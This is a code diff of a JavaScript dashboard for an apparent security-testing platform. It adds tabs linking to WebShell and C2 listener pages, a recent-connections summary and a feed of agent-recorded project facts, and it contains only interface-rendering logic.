var link = document.getElementById('dashboard-access-view-all');
|
||||||
|
if (!link) return;
|
||||||
|
if (tab === 'webshell') {
|
||||||
|
link.onclick = function () { try { switchPage('webshell'); } catch (_) {} };
|
||||||
|
link.setAttribute('data-i18n', 'dashboard.webshellGoManage');
|
||||||
|
link.textContent = dt('dashboard.webshellGoManage', null, '进入 WebShell →');
|
||||||
|
} else {
|
||||||
|
link.onclick = function () { try { switchPage('c2-listeners'); } catch (_) {} };
|
||||||
|
link.setAttribute('data-i18n', 'dashboard.c2GoManage');
|
||||||
|
link.textContent = dt('dashboard.c2GoManage', null, '进入 C2 →');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 根据可用模块同步 Tab 可见性与默认选中项 */
|
||||||
|
function syncDashboardAccessTabs() {
|
||||||
|
var section = document.getElementById('dashboard-section-access');
|
||||||
|
if (!section || section.hidden) return;
|
||||||
|
|
||||||
|
var showC2 = section.dataset.c2Available === '1';
|
||||||
|
var showWs = section.dataset.webshellAvailable === '1';
|
||||||
|
var tabNav = document.getElementById('dashboard-access-tabs');
|
||||||
|
var tabC2 = document.getElementById('dashboard-access-tab-c2');
|
||||||
|
var tabWs = document.getElementById('dashboard-access-tab-webshell');
|
||||||
|
|
||||||
|
if (tabC2) tabC2.hidden = !showC2;
|
||||||
|
if (tabWs) tabWs.hidden = !showWs;
|
||||||
|
if (tabNav) tabNav.hidden = false;
|
||||||
|
|
||||||
|
var tab = dashboardState.accessTab;
|
||||||
|
if (tab === 'c2' && !showC2) tab = 'webshell';
|
||||||
|
if (tab === 'webshell' && !showWs) tab = 'c2';
|
||||||
|
if (!showC2 && showWs) tab = 'webshell';
|
||||||
|
if (showC2 && !showWs) tab = 'c2';
|
||||||
|
dashboardState.accessTab = tab;
|
||||||
|
applyDashboardAccessTabUI(tab);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** WebShell 接入概览:最近 3 条连接摘要 */
|
||||||
|
function renderDashboardWebshellRecent(list) {
|
||||||
|
var container = document.getElementById('dashboard-webshell-recent');
|
||||||
|
if (!container) return;
|
||||||
|
container.innerHTML = '';
|
||||||
|
if (!list || list.length === 0) {
|
||||||
|
container.hidden = true;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
var sorted = list.slice().sort(function (a, b) {
|
||||||
|
var ta = (a && a.createdAt) ? Date.parse(a.createdAt) : 0;
|
||||||
|
var tb = (b && b.createdAt) ? Date.parse(b.createdAt) : 0;
|
||||||
|
return tb - ta;
|
||||||
|
});
|
||||||
|
var recent = sorted.slice(0, 3);
|
||||||
|
recent.forEach(function (conn) {
|
||||||
|
if (!conn) return;
|
||||||
|
var item = document.createElement('div');
|
||||||
|
item.className = 'dashboard-webshell-recent-item';
|
||||||
|
item.setAttribute('role', 'button');
|
||||||
|
item.setAttribute('tabindex', '0');
|
||||||
|
var label = (conn.remark || '').trim() || (conn.url || '').trim() || (conn.id || '');
|
||||||
|
var typeTag = (conn.type || 'shell').toUpperCase();
|
||||||
|
item.innerHTML =
|
||||||
|
'<span class="dashboard-webshell-recent-type">' + esc(typeTag) + '</span>' +
|
||||||
|
'<span class="dashboard-webshell-recent-label" title="' + esc(label) + '">' + esc(label) + '</span>';
|
||||||
|
var openWs = function () {
|
||||||
|
try { switchPage('webshell'); } catch (_) {}
|
||||||
|
};
|
||||||
|
item.addEventListener('click', openWs);
|
||||||
|
item.addEventListener('keydown', function (e) {
|
||||||
|
if (e.key === 'Enter' || e.key === ' ') {
|
||||||
|
e.preventDefault();
|
||||||
|
openWs();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
container.appendChild(item);
|
||||||
|
});
|
||||||
|
container.hidden = false;
|
||||||
|
}
|
||||||
|
|
||||||
function setEl(id, text) {
|
function setEl(id, text) {
|
||||||
const el = document.getElementById(id);
|
const el = document.getElementById(id);
|
||||||
if (el) el.textContent = text;
|
if (el) el.textContent = text;
|
||||||
@@ -1088,12 +1217,9 @@ function renderRecentVulns(res) {
|
|||||||
if (list.length === 0) {
|
if (list.length === 0) {
|
||||||
if (empty) {
|
if (empty) {
|
||||||
empty.hidden = false;
|
empty.hidden = false;
|
||||||
// 升级版空状态:图标 + 标题 + 描述 + 行动按钮,比纯文本更易引导用户下一步
|
// 升级版空状态:标题 + 描述 + 行动按钮,比纯文本更易引导用户下一步
|
||||||
empty.classList.add('is-rich');
|
empty.classList.add('is-rich');
|
||||||
empty.innerHTML = (
|
empty.innerHTML = (
|
||||||
'<span class="dashboard-empty-icon" aria-hidden="true">' +
|
|
||||||
'<svg width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M9 12l2 2 4-4"/></svg>' +
|
|
||||||
'</span>' +
|
|
||||||
'<div class="dashboard-empty-title">' + esc(dt('dashboard.noVulnYet', null, '暂无最近漏洞')) + '</div>' +
|
'<div class="dashboard-empty-title">' + esc(dt('dashboard.noVulnYet', null, '暂无最近漏洞')) + '</div>' +
|
||||||
'<div class="dashboard-empty-desc">' + esc(dt('dashboard.noVulnDesc', null, '此处展示近期漏洞记录;在对话中完成检测后,新结果会出现在这里')) + '</div>' +
|
'<div class="dashboard-empty-desc">' + esc(dt('dashboard.noVulnDesc', null, '此处展示近期漏洞记录;在对话中完成检测后,新结果会出现在这里')) + '</div>' +
|
||||||
'<button type="button" class="dashboard-empty-action" data-action="scan">' +
|
'<button type="button" class="dashboard-empty-action" data-action="scan">' +
|
||||||
@@ -1109,7 +1235,7 @@ function renderRecentVulns(res) {
|
|||||||
empty.classList.remove('is-rich');
|
empty.classList.remove('is-rich');
|
||||||
}
|
}
|
||||||
|
|
||||||
list.slice(0, 5).forEach(function (v) {
|
list.slice(0, 10).forEach(function (v) {
|
||||||
const sev = (v.severity || 'info').toLowerCase();
|
const sev = (v.severity || 'info').toLowerCase();
|
||||||
const status = (v.status || 'open').toLowerCase();
|
const status = (v.status || 'open').toLowerCase();
|
||||||
const item = document.createElement('a');
|
const item = document.createElement('a');
|
||||||
@@ -1130,6 +1256,203 @@ function renderRecentVulns(res) {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 最近漏洞 / 近期事实 Tab 切换(共用列表区域,查看全部链接随 Tab 变化)
|
||||||
|
function switchDashboardFeedTab(tab) {
|
||||||
|
tab = tab === 'facts' ? 'facts' : 'vulns';
|
||||||
|
dashboardState.recentFeedTab = tab;
|
||||||
|
|
||||||
|
var tabVulns = document.getElementById('dashboard-feed-tab-vulns');
|
||||||
|
var tabFacts = document.getElementById('dashboard-feed-tab-facts');
|
||||||
|
var panelVulns = document.getElementById('dashboard-feed-panel-vulns');
|
||||||
|
var panelFacts = document.getElementById('dashboard-feed-panel-facts');
|
||||||
|
if (tabVulns) {
|
||||||
|
tabVulns.classList.toggle('is-active', tab === 'vulns');
|
||||||
|
tabVulns.setAttribute('aria-selected', tab === 'vulns' ? 'true' : 'false');
|
||||||
|
}
|
||||||
|
if (tabFacts) {
|
||||||
|
tabFacts.classList.toggle('is-active', tab === 'facts');
|
||||||
|
tabFacts.setAttribute('aria-selected', tab === 'facts' ? 'true' : 'false');
|
||||||
|
}
|
||||||
|
if (panelVulns) panelVulns.hidden = tab !== 'vulns';
|
||||||
|
if (panelFacts) panelFacts.hidden = tab !== 'facts';
|
||||||
|
updateDashboardFeedViewAll(tab);
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateDashboardFeedViewAll(tab) {
|
||||||
|
var link = document.getElementById('dashboard-feed-view-all');
|
||||||
|
if (!link) return;
|
||||||
|
if (tab === 'facts') {
|
||||||
|
link.onclick = function () { try { switchPage('projects'); } catch (_) {} };
|
||||||
|
} else {
|
||||||
|
link.onclick = function () { try { switchPage('vulnerabilities'); } catch (_) {} };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function setRecentFactsLoading() {
|
||||||
|
var wrap = document.getElementById('dashboard-recent-facts');
|
||||||
|
var empty = document.getElementById('dashboard-recent-facts-empty');
|
||||||
|
if (!wrap) return;
|
||||||
|
clearRecentFactsList(wrap);
|
||||||
|
if (empty) {
|
||||||
|
empty.hidden = false;
|
||||||
|
empty.classList.remove('is-rich');
|
||||||
|
empty.textContent = dt('common.loading', null, '加载中…');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function clearRecentFactsList(wrap) {
|
||||||
|
if (!wrap) return;
|
||||||
|
Array.from(wrap.querySelectorAll('.dashboard-recent-fact-item, .dashboard-recent-facts-meta')).forEach(function (n) { n.remove(); });
|
||||||
|
}
|
||||||
|
|
||||||
|
function setRecentFactsError() {
|
||||||
|
var wrap = document.getElementById('dashboard-recent-facts');
|
||||||
|
var empty = document.getElementById('dashboard-recent-facts-empty');
|
||||||
|
if (!wrap) return;
|
||||||
|
clearRecentFactsList(wrap);
|
||||||
|
if (empty) {
|
||||||
|
empty.hidden = false;
|
||||||
|
empty.classList.remove('is-rich');
|
||||||
|
empty.textContent = dt('common.loadFailed', null, '加载失败');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function factConfidenceShortLabel(confidence) {
|
||||||
|
var c = String(confidence || '').toLowerCase();
|
||||||
|
if (c === 'confirmed') return dt('projects.confidenceConfirmed', null, '已确认');
|
||||||
|
if (c === 'tentative') return dt('projects.confidenceTentative', null, '待确认');
|
||||||
|
return c || '—';
|
||||||
|
}
|
||||||
|
|
||||||
|
function factCategoryShortLabel(category) {
|
||||||
|
var raw = String(category || '').trim();
|
||||||
|
return raw || 'note';
|
||||||
|
}
|
||||||
|
|
||||||
|
// 按 project_id(回退 project_name)稳定映射 8 种配色,同一项目跨刷新颜色一致
|
||||||
|
function projectFactProjectTone(projectId, projectName) {
|
||||||
|
var key = String(projectId || projectName || '').trim();
|
||||||
|
if (!key) return 0;
|
||||||
|
var hash = 0;
|
||||||
|
for (var i = 0; i < key.length; i++) {
|
||||||
|
hash = ((hash << 5) - hash) + key.charCodeAt(i);
|
||||||
|
hash |= 0;
|
||||||
|
}
|
||||||
|
return Math.abs(hash) % 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
function openProjectFactFromDashboard(projectId, factKey) {
|
||||||
|
if (!projectId) return;
|
||||||
|
if (typeof switchPage === 'function') {
|
||||||
|
switchPage('projects');
|
||||||
|
}
|
||||||
|
setTimeout(async function () {
|
||||||
|
if (typeof window.initProjectsPage === 'function') {
|
||||||
|
await window.initProjectsPage();
|
||||||
|
}
|
||||||
|
if (typeof window.selectProject === 'function') {
|
||||||
|
await window.selectProject(projectId);
|
||||||
|
}
|
||||||
|
if (typeof window.switchProjectTab === 'function') {
|
||||||
|
window.switchProjectTab('facts');
|
||||||
|
}
|
||||||
|
if (factKey && typeof window.viewProjectFactBody === 'function') {
|
||||||
|
window.viewProjectFactBody(factKey);
|
||||||
|
}
|
||||||
|
}, 350);
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderRecentFacts(res) {
|
||||||
|
var wrap = document.getElementById('dashboard-recent-facts');
|
||||||
|
var empty = document.getElementById('dashboard-recent-facts-empty');
|
||||||
|
if (!wrap) return;
|
||||||
|
|
||||||
|
clearRecentFactsList(wrap);
|
||||||
|
|
||||||
|
var list = (res && Array.isArray(res.recent_facts)) ? res.recent_facts : [];
|
||||||
|
var totals = (res && res.totals) ? res.totals : {};
|
||||||
|
var activeProjects = totals.active_projects || 0;
|
||||||
|
var totalFacts = totals.total_facts || 0;
|
||||||
|
|
||||||
|
if (list.length === 0) {
|
||||||
|
if (empty) {
|
||||||
|
empty.hidden = false;
|
||||||
|
empty.classList.add('is-rich');
|
||||||
|
var desc = activeProjects > 0
|
||||||
|
? dt('dashboard.noFactsDesc', null, '在绑定项目的对话中,Agent 会自动记录目标、漏洞、攻击链等事实')
|
||||||
|
: dt('projects.selectOrCreateHint', null, '项目用于跨对话共享「事实黑板」:目标、环境、认证等信息会在绑定项目的对话中自动注入。');
|
||||||
|
var ctaLabel = activeProjects > 0
|
||||||
|
? dt('dashboard.goToChat', null, '前往对话')
|
||||||
|
: dt('dashboard.createFirstProjectBtn', null, '创建第一个项目');
|
||||||
|
var ctaAction = activeProjects > 0 ? 'chat' : 'project';
|
||||||
|
empty.innerHTML = (
|
||||||
|
'<div class="dashboard-empty-title">' + esc(dt('dashboard.noFactsYet', null, '暂无近期事实')) + '</div>' +
|
||||||
|
'<div class="dashboard-empty-desc">' + esc(desc) + '</div>' +
|
||||||
|
'<button type="button" class="dashboard-empty-action" data-action="' + esc(ctaAction) + '">' +
|
||||||
|
esc(ctaLabel) + ' →</button>'
|
||||||
|
);
|
||||||
|
var btn = empty.querySelector('[data-action]');
|
||||||
|
if (btn) {
|
||||||
|
btn.onclick = function () {
|
||||||
|
var action = btn.getAttribute('data-action');
|
||||||
|
if (action === 'project') {
|
||||||
|
try { switchPage('projects'); } catch (_) {}
|
||||||
|
setTimeout(function () {
|
||||||
|
if (typeof window.showNewProjectModal === 'function') {
|
||||||
|
window.showNewProjectModal();
|
||||||
|
}
|
||||||
|
}, 350);
|
||||||
|
} else {
|
||||||
|
try { switchPage('chat'); } catch (_) {}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (empty) {
|
||||||
|
empty.hidden = true;
|
||||||
|
empty.classList.remove('is-rich');
|
||||||
|
}
|
||||||
|
|
||||||
|
list.slice(0, 10).forEach(function (f) {
|
||||||
|
if (!f) return;
|
||||||
|
var category = factCategoryShortLabel(f.category);
|
||||||
|
var confidence = String(f.confidence || 'tentative').toLowerCase();
|
||||||
|
var item = document.createElement('a');
|
||||||
|
item.className = 'dashboard-recent-fact-item';
|
||||||
|
item.setAttribute('role', 'button');
|
||||||
|
item.tabIndex = 0;
|
||||||
|
var pid = f.project_id || '';
|
||||||
|
var fkey = f.fact_key || '';
|
||||||
|
item.onclick = function () { openProjectFactFromDashboard(pid, fkey); };
|
||||||
|
item.onkeydown = function (e) {
|
||||||
|
if (e.key === 'Enter' || e.key === ' ') {
|
||||||
|
e.preventDefault();
|
||||||
|
item.click();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// 置顶列始终占位,避免有/无图钉时后续列错位
|
||||||
|
var pinMark = '<span class="dashboard-recent-fact-pin' + (f.pinned ? ' is-pinned' : '') + '"' +
|
||||||
|
(f.pinned ? (' title="' + esc(dt('projects.pinned', null, '置顶')) + '"') : '') +
|
||||||
|
' aria-hidden="true">' + (f.pinned ? '📌' : '') + '</span>';
|
||||||
|
var projectLabel = (f.project_name || '').trim() || dt('projects.defaultProjectName', null, '项目');
|
||||||
|
var factKeyLabel = (f.fact_key || '').trim() || '—';
|
||||||
|
var projectTone = projectFactProjectTone(pid, projectLabel);
|
||||||
|
var projectCol = '<span class="dashboard-recent-fact-project proj-tone-' + projectTone + '" title="' + esc(projectLabel) + '">' + esc(projectLabel) + '</span>';
|
||||||
|
var categoryBadge = '<span class="dashboard-recent-fact-cat cat-' + esc(category.toLowerCase().replace(/[^a-z0-9_-]/g, '')) + '">' + esc(category) + '</span>';
|
||||||
|
var confBadge = '<span class="dashboard-recent-fact-conf conf-' + esc(confidence) + '">' + esc(factConfidenceShortLabel(confidence)) + '</span>';
|
||||||
|
var summary = '<span class="dashboard-recent-fact-summary" title="' + esc(f.summary || '') + '">' + esc(f.summary || dt('common.untitled', null, '无标题')) + '</span>';
|
||||||
|
var factKeyCol = '<span class="dashboard-recent-fact-key" title="' + esc(factKeyLabel) + '">' + esc(factKeyLabel) + '</span>';
|
||||||
|
var time = '<span class="dashboard-recent-fact-time">' + esc(timeAgoStr(f.updated_at)) + '</span>';
|
||||||
|
|
||||||
|
item.innerHTML = pinMark + categoryBadge + confBadge + summary + factKeyCol + projectCol + time;
|
||||||
|
wrap.appendChild(item);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
// 漏洞状态映射:把 status 字符串规整到 4 类(避免脏数据)
|
// 漏洞状态映射:把 status 字符串规整到 4 类(避免脏数据)
|
||||||
function statusKey(s) {
|
function statusKey(s) {
|
||||||
s = String(s || '').toLowerCase();
|
s = String(s || '').toLowerCase();
|
||||||
@@ -1224,7 +1547,7 @@ function renderVulnStatusPanel(byStatus, total) {
|
|||||||
//
|
//
|
||||||
// bySeverityOpen: { critical, high, medium, low }(只统计 status=open 的漏洞;info 不计入)
|
// bySeverityOpen: { critical, high, medium, low }(只统计 status=open 的漏洞;info 不计入)
|
||||||
// totalOpen: 待处理漏洞总数(= critical + high + medium + low),仅用于"全无待处理 → safe"判断
|
// totalOpen: 待处理漏洞总数(= critical + high + medium + low),仅用于"全无待处理 → safe"判断
|
||||||
// recentVulnsRes: /api/vulnerabilities?limit=5 响应(用于"最近发现"时间,口径是全量,与处置状态无关)
|
// recentVulnsRes: /api/vulnerabilities?limit=10 响应(用于"最近发现"时间,口径是全量,与处置状态无关)
|
||||||
function renderSeverityInsights(bySeverityOpen, totalOpen, recentVulnsRes) {
|
function renderSeverityInsights(bySeverityOpen, totalOpen, recentVulnsRes) {
|
||||||
var riskBox = document.querySelector('.dashboard-severity-insight-risk');
|
var riskBox = document.querySelector('.dashboard-severity-insight-risk');
|
||||||
var levelEl = document.getElementById('dashboard-severity-risk-level');
|
var levelEl = document.getElementById('dashboard-severity-risk-level');
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user